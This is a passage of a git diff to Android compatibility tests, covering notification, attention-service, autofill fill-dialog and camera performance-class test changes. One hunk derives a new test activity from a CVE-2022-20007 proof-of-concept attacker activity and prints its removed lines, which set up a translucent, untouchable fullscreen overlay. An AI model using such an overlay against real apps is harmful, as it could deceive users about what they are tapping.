         val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.ic_media_play)
@@ -385,8 +387,9 @@
                 !!.sameAs(picture)).isTrue()
     }
 
+    @CddTest(requirement = "3.8.3.1/C-2-1")
     fun testBigPicture_withBigLargeIcon_withContentUri() {
-        val iconUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val iconUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png")
         val icon = Icon.createWithContentUri(iconUri)
         val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.ic_media_play)
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index d79f909..540303b 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -22,6 +22,7 @@
 
 import android.app.Notification;
 import android.app.Notification.Action.Builder;
+import android.app.Notification.CallStyle;
 import android.app.Notification.MessagingStyle;
 import android.app.Notification.MessagingStyle.Message;
 import android.app.NotificationChannel;
@@ -981,6 +982,20 @@
         assertFalse(mNotification.hasImage());
     }
 
+    public void testCallStyle_setsChronometerExtra() {
+        Person person = new Person.Builder().setName("Test name").build();
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0,
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        CallStyle cs = CallStyle.forIncomingCall(person, pendingIntent, pendingIntent);
+        Notification.Builder builder = new Notification.Builder(mContext, CHANNEL.getId())
+                .setStyle(cs)
+                .setUsesChronometer(true);
+
+        Notification notification = builder.build();
+        Bundle extras = notification.extras;
+        assertTrue(extras.getBoolean(Notification.EXTRA_SHOW_CHRONOMETER));
+    }
+
     private static void assertMessageEquals(
             Notification.MessagingStyle.Message expected,
             Notification.MessagingStyle.Message actual) {
diff --git a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
index f4692c7..452530e 100644
--- a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
+++ b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
@@ -92,7 +92,7 @@
     }
 
     @Test
-    @Ignore("b/236749332")
+    @Ignore("b/236292909")
     fun closeToSender_displaysChip() {
         statusBarManager.updateMediaTapToTransferReceiverDisplay(
             StatusBarManager.MEDIA_TRANSFER_RECEIVER_STATE_CLOSE_TO_SENDER,
@@ -108,7 +108,7 @@
     }
 
     @Test
-    @Ignore("236749332")
+    @Ignore("b/236292909")
     fun farFromSender_hidesChip() {
         // First, make sure we display the chip
         statusBarManager.updateMediaTapToTransferReceiverDisplay(
diff --git a/tests/attentionservice/Android.bp b/tests/attentionservice/Android.bp
index a515cf7..84c765a 100644
--- a/tests/attentionservice/Android.bp
+++ b/tests/attentionservice/Android.bp
@@ -16,6 +16,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
+java_library {
+    name: "CtsAttentionServiceDevice",
+    srcs: ["src/**/CtsTestAttentionService.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+    ],
+}
+
 android_test {
     name: "CtsAttentionServiceDeviceTestCases",
     defaults: ["cts_defaults"],
@@ -34,5 +45,5 @@
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: ["cts"],
-//    sdk_version: "system_current",
+    // sdk_version: "system_current",
 }
diff --git a/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java b/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java
index 01adafd..a16cbcd 100644
--- a/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java
+++ b/tests/attentionservice/src/android/attentionservice/cts/CtsTestAttentionService.java
@@ -37,7 +37,7 @@
     @Override
     public void onCancelAttentionCheck(AttentionCallback callback) {
         callback.onFailure(ATTENTION_FAILURE_CANCELLED);
-        reset();
+        resetAttentionCheck();
         sRespondLatch.countDown();
     }
 
@@ -49,12 +49,20 @@
 
     @Override
     public void onStopProximityUpdates() {
-        reset();
+        resetProximity();
         sRespondLatch.countDown();
     }
 
     public static void reset() {
+        resetAttentionCheck();
+        resetProximity();
+    }
+
+    public static void resetAttentionCheck() {
         sCurrentAttentionCallback = null;
+    }
+
+    public static void resetProximity() {
         sCurrentProximityUpdateCallback = null;
     }
 
@@ -62,14 +70,14 @@
         if (sCurrentAttentionCallback != null) {
             sCurrentAttentionCallback.onSuccess(code, 0);
         }
-        reset();
+        resetAttentionCheck();
     }
 
     public static void respondFailure(int code) {
         if (sCurrentAttentionCallback != null) {
             sCurrentAttentionCallback.onFailure(code);
         }
-        reset();
+        resetAttentionCheck();
     }
 
     public static void respondProximity(double distance) {
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 9ac38e9..29db5b5 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -150,6 +150,7 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
+        <activity android:name=".activities.FadeInActivity"/>
         <activity android:name=".activities.FieldsNoPasswordActivity"/>
         <activity android:name=".activities.AugmentedAuthActivity" />
         <activity android:name=".activities.SimpleAfterLoginActivity"/>
diff --git a/tests/autofillservice/res/layout/fade_in_activity.xml b/tests/autofillservice/res/layout/fade_in_activity.xml
new file mode 100644
index 0000000..3efc4d6
--- /dev/null
+++ b/tests/autofillservice/res/layout/fade_in_activity.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2022 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="horizontal"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/password_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Password" />
+
+        <EditText
+            android:id="@+id/password"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:inputType="textPassword"
+            android:textCursorDrawable="@android:color/transparent"
+            android:imeOptions="flagNoFullscreen" />
+    </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FadeInActivity.java
similarity index 64%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
copy to tests/autofillservice/src/android/autofillservice/cts/activities/FadeInActivity.java
index ad87ea7..c4a1911 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FadeInActivity.java
@@ -13,21 +13,21 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package android.autofillservice.cts.activities;
 
-package android.security.cts.CVE_2022_20007_attacker;
-
-import android.app.Activity;
+import android.autofillservice.cts.R;
 import android.os.Bundle;
-import android.view.WindowManager;
 
-public class PocActivity extends Activity {
+/**
+ * Activity that do fade-in animation at beginning:
+ */
+public class FadeInActivity extends AbstractAutoFillActivity {
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
         super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_main);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
-                | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+        setContentView(R.layout.fade_in_activity);
+
+        overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
index 9ab86ce..8ca37c4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
@@ -135,7 +135,7 @@
         assertFillEventForDatasetShown(events.get(0), "clientStateKey",
                 "clientStateValue", presentationType);
         assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
-                "clientStateKey", "clientStateValue");
+                "clientStateKey", "clientStateValue", presentationType);
     }
 
     @Test
@@ -180,7 +180,7 @@
         assertFillEventForDatasetShown(events.get(0), "clientStateKey",
                 "clientStateValue", presentationType);
         assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
-                "clientStateKey", "clientStateValue");
+                "clientStateKey", "clientStateValue", presentationType);
         assertFillEventForDatasetShown(events.get(2), "clientStateKey",
                 "clientStateValue", presentationType);
         assertFillEventForDatasetSelected(events.get(3), "name",
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/FadeInActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/FadeInActivityTest.java
new file mode 100644
index 0000000..df62027
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/FadeInActivityTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dialog;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.enableFillDialogFeature;
+import static android.service.autofill.FillRequest.FLAG_SUPPORTS_FILL_DIALOG;
+
+import android.autofillservice.cts.activities.FadeInActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.content.Intent;
+
+import org.junit.Test;
+
+
+/**
+ * This is the test cases about fade-in animation for the fill dialog UI.
+ */
+public class FadeInActivityTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    @Test
+    public void testShowFillDialog_withFadeInAnimation() throws Exception {
+        // Enable feature and test service
+        enableFillDialogFeature(sContext);
+        enableService();
+
+        // Set response
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dropdown Presentation"))
+                        .setDialogPresentation(createPresentation("Dialog Presentation"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Start activity
+        startFadeInActivity();
+
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+        // Click on password field to trigger fill dialog
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        // Set expected value, then select dataset
+        mUiBot.assertFillDialogDatasets("Dialog Presentation");
+    }
+
+    private void startFadeInActivity() throws Exception {
+        final Intent intent = new Intent(mContext, FadeInActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+        mUiBot.assertShownByRelativeId(Helper.ID_PASSWORD_LABEL);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
index a6251f5..70d7a08 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
@@ -66,12 +66,12 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         // Waits a while
         mUiBot.waitForIdleSync();
 
         // Click on password field again
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         // Waits a while
         mUiBot.waitForIdleSync();
 
@@ -104,7 +104,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertFillDialogDatasets("Dialog Presentation");
@@ -114,7 +114,7 @@
         mUiBot.waitForIdle();
 
         // Click on password field again
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         // Verify IME is shown
@@ -149,7 +149,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         // Verify IME is not shown
@@ -202,7 +202,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertFillDialogDatasets("Dialog Presentation");
@@ -219,7 +219,7 @@
 
         // Click on the username field to trigger autofill. Although the username field supports
         // a fill dialog, the fill dialog only shown once, so shows the dropdown UI.
-        mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+        mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertNoFillDialog();
@@ -270,7 +270,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         // Verify IME is not shown
@@ -314,7 +314,7 @@
         sReplier.getNextFillRequest();
         mUiBot.waitForIdleSync();
 
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertFillDialogDatasets("Dialog presentation");
@@ -325,7 +325,7 @@
         mUiBot.waitForIdle();
 
         // Click on username field, and verify dropdown UI is shown
-        mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+        mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertDatasets("Dropdown Presentation");
@@ -365,7 +365,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on username field, and verify dropdown UI is shown.
-        mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+        mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertDatasets("Dropdown Presentation");
@@ -417,7 +417,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog, then select
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
         activity.expectAutoFill("dude", "sweet");
         mUiBot.selectFillDialogDataset("Dialog Presentation");
@@ -462,7 +462,7 @@
         sReplier.addResponse(builder.build());
 
         // Click on username field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+        mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdleSync();
 
         // Check onFillRequest is called now, and the fill dialog is not shown
@@ -538,7 +538,7 @@
         assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+        mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdleSync();
 
         // Verify IME is not shown
@@ -576,7 +576,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         // Verify IME is not shown
@@ -622,7 +622,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         // Verify the fill dialog shown
@@ -669,7 +669,7 @@
         mUiBot.waitForIdleSync();
 
         // Click on password field to trigger fill dialog
-        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.selectByRelativeId(ID_PASSWORD);
         mUiBot.waitForIdleSync();
 
         // Verify the fill dialog shown
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
index 5eb72f4..8c8e732 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
@@ -83,7 +83,7 @@
      * Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
      */
     private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
-        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        Log.v(TAG, "launchSimpleSaveActivity(): " + action);
         sReplier.assertNoUnhandledFillRequests();
 
         if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
@@ -175,7 +175,7 @@
             // Asserts isEnabled() status.
             assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
         } finally {
-            activity.finish();
+            mUiBot.waitForWindowChange(() -> activity.finish());
         }
         return SystemClock.elapsedRealtime() - before;
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 3a40ca9..c462baf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -1254,12 +1254,12 @@
      * @param event event to be asserted
      * @param key the only key expected in the client state bundle
      * @param value the only value expected in the client state bundle
-     * @param expectedPresentation the exptected ui presentation type
+     * @param uiType the expected ui presentation type
      */
     public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
-            @NonNull String key, @NonNull String value, int expectedPresentation) {
+            @NonNull String key, @NonNull String value, int uiType) {
         assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
-        assertFillEventPresentationType(event, expectedPresentation);
+        assertFillEventPresentationType(event, uiType);
     }
 
     /**
@@ -1269,9 +1269,9 @@
      * @param event event to be asserted
      */
     public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
-            int expectedPresentation) {
+            int uiType) {
         assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
-        assertFillEventPresentationType(event, expectedPresentation);
+        assertFillEventPresentationType(event, uiType);
     }
 
     /**
@@ -1283,11 +1283,13 @@
      * @param datasetId dataset set id expected in the event
      * @param key the only key expected in the client state bundle
      * @param value the only value expected in the client state bundle
+     * @param uiType the expected ui presentation type
      */
     public static void assertFillEventForDatasetAuthenticationSelected(
             @NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+            @Nullable String datasetId, @NonNull String key, @NonNull String value, int uiType) {
         assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+        assertFillEventPresentationType(event, uiType);
     }
 
     /**
@@ -1298,11 +1300,13 @@
      * @param datasetId dataset set id expected in the event
      * @param key the only key expected in the client state bundle
      * @param value the only value expected in the client state bundle
+     * @param uiType the expected ui presentation type
      */
     public static void assertFillEventForAuthenticationSelected(
             @NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+            @Nullable String datasetId, @NonNull String key, @NonNull String value, int uiType) {
         assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+        assertFillEventPresentationType(event, uiType);
     }
 
     public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
index 73639c0..50ef382 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -52,6 +52,7 @@
 import android.service.autofill.SaveInfo;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Configurator;
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.SearchCondition;
 import android.support.test.uiautomator.StaleObjectException;
@@ -65,6 +66,8 @@
 import android.text.Spanned;
 import android.text.style.URLSpan;
 import android.util.Log;
+import android.view.InputDevice;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.accessibility.AccessibilityEvent;
@@ -1277,20 +1280,6 @@
     }
 
     /**
-     * Selects a view by id via UiDevice.
-     *
-     * Note: This used to avoid IME issue that some case IME will be not shown via
-     * UiObject2.click().
-     */
-    public UiObject2 selectByRelativeIdFromUiDevice(String id) throws Exception {
-        Log.v(TAG, "selectByRelativeIdFromDevice(): " + id);
-        final UiObject2 object = waitForObject(By.res(mPackageName, id));
-        final Point p = object.getVisibleCenter();
-        mDevice.click(p.x, p.y);
-        return object;
-    }
-
-    /**
      * Asserts the header in the fill dialog.
      */
     public void assertFillDialogHeader(String expectedHeader) throws Exception {
@@ -1374,7 +1363,7 @@
     public void touchOutsideDialog() throws Exception {
         Log.v(TAG, "touchOutsideDialog()");
         final UiObject2 picker = findFillDialogPicker();
-        mDevice.click(1, picker.getVisibleBounds().top / 2);
+        assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
     }
 
     /**
@@ -1383,7 +1372,7 @@
     public void touchOutsideSaveDialog() throws Exception {
         Log.v(TAG, "touchOutsideSaveDialog()");
         final UiObject2 picker = waitForObject(SAVE_UI_SELECTOR, SAVE_TIMEOUT);
-        mDevice.click(1, picker.getVisibleBounds().top / 2);
+        assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
     }
 
     /**
@@ -1415,4 +1404,44 @@
     public void assertNoFillDialog() throws Exception {
         assertNeverShown("Fill dialog", FILL_DIALOG_SELECTOR, DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
     }
+
+    /**
+     * Injects a click input event at the given point in the default display.
+     * We have this method because {@link UiObject2#click) cannot touch outside the object, and
+     * {@link UiDevice#click} is broken in multi windowing mode (b/238254060).
+     */
+    private boolean injectClick(Point p) {
+        final long downTime = SystemClock.uptimeMillis();
+        final MotionEvent downEvent = getMotionEvent(downTime, downTime, MotionEvent.ACTION_DOWN,
+                p);
+        if (!mAutoman.injectInputEvent(downEvent, true)) {
+            Log.e(TAG, "Failed to inject down event.");
+            return false;
+        }
+
+        try {
+            Thread.sleep(100);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted while sleep between click", e);
+        }
+
+        final MotionEvent upEvent = getMotionEvent(downTime, SystemClock.uptimeMillis(),
+                MotionEvent.ACTION_UP, p);
+        return mAutoman.injectInputEvent(upEvent, true);
+    }
+
+    private static MotionEvent getMotionEvent(long downTime, long eventTime, int action, Point p) {
+        final MotionEvent.PointerProperties properties = new MotionEvent.PointerProperties();
+        properties.id = 0;
+        properties.toolType = Configurator.getInstance().getToolType();
+        final MotionEvent.PointerCoords coords = new MotionEvent.PointerCoords();
+        coords.pressure = 1.0F;
+        coords.size = 1.0F;
+        coords.x = p.x;
+        coords.y = p.y;
+        return MotionEvent.obtain(downTime, eventTime, action, 1,
+                new MotionEvent.PointerProperties[]{properties},
+                new MotionEvent.PointerCoords[]{coords}, 0, 0, 1.0F, 1.0F, 0, 0,
+                InputDevice.SOURCE_TOUCHSCREEN, 0);
+    }
 }
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
index aae58c6..c2334fc 100644
--- a/tests/camera/Android.bp
+++ b/tests/camera/Android.bp
@@ -65,6 +65,7 @@
         "truth-prebuilt",
         "androidx.heifwriter_heifwriter",
         "androidx.test.rules",
+        "MediaPerformanceClassCommon",
     ],
     jni_libs: [
         "libctscamera2_jni",
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index feb5567..772e7a5 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -36,6 +36,7 @@
 import android.hardware.camera2.TotalCaptureResult;
 import android.media.Image;
 import android.media.ImageReader;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.test.AndroidTestCase;
@@ -210,8 +211,9 @@
      * Version.MEDIA_PERFORMANCE_CLASS
      */
     public void testSPerfClassJpegSizes() throws Exception {
-        boolean isSPerfClass = CameraTestUtils.isSPerfClass();
-        if (!isSPerfClass) {
+        final boolean isAtLeastSPerfClass =
+                (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= Build.VERSION_CODES.S);
+        if (!isAtLeastSPerfClass) {
             return;
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 9e8f436..e5d067c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -55,6 +55,10 @@
 import android.hardware.camera2.params.RecommendedStreamConfigurationMap;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.hardware.cts.helpers.CameraUtils;
+import android.mediapc.cts.common.Requirement;
+import android.mediapc.cts.common.RequiredMeasurement;
+import android.mediapc.cts.common.RequirementConstants;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.media.CamcorderProfile;
 import android.media.ImageReader;
 import android.os.Build;
@@ -74,15 +78,11 @@
 
 import androidx.test.rule.ActivityTestRule;
 
-import androidx.test.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -92,12 +92,10 @@
 import java.util.List;
 import java.util.Objects;
 import java.util.Set;
+import java.util.function.BiPredicate;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
-
 /**
  * Extended tests for static camera characteristics.
  */
@@ -113,6 +111,9 @@
      */
     private static final int MIN_ALLOWABLE_WHITELEVEL = 32; // must have sensor bit depth > 5
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     private List<CameraCharacteristics> mCharacteristics;
 
     private static final Size FULLHD = new Size(1920, 1080);
@@ -131,10 +132,6 @@
     private static final long PREVIEW_RUN_MS = 500;
     private static final long FRAME_DURATION_30FPS_NSEC = (long) 1e9 / 30;
 
-    private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000;
-    private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
-    private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
-
     /*
      * HW Levels short hand
      */
@@ -2316,6 +2313,17 @@
                     // Sanitize the high speed FPS ranges for each size
                     List<Range<Integer>> ranges =
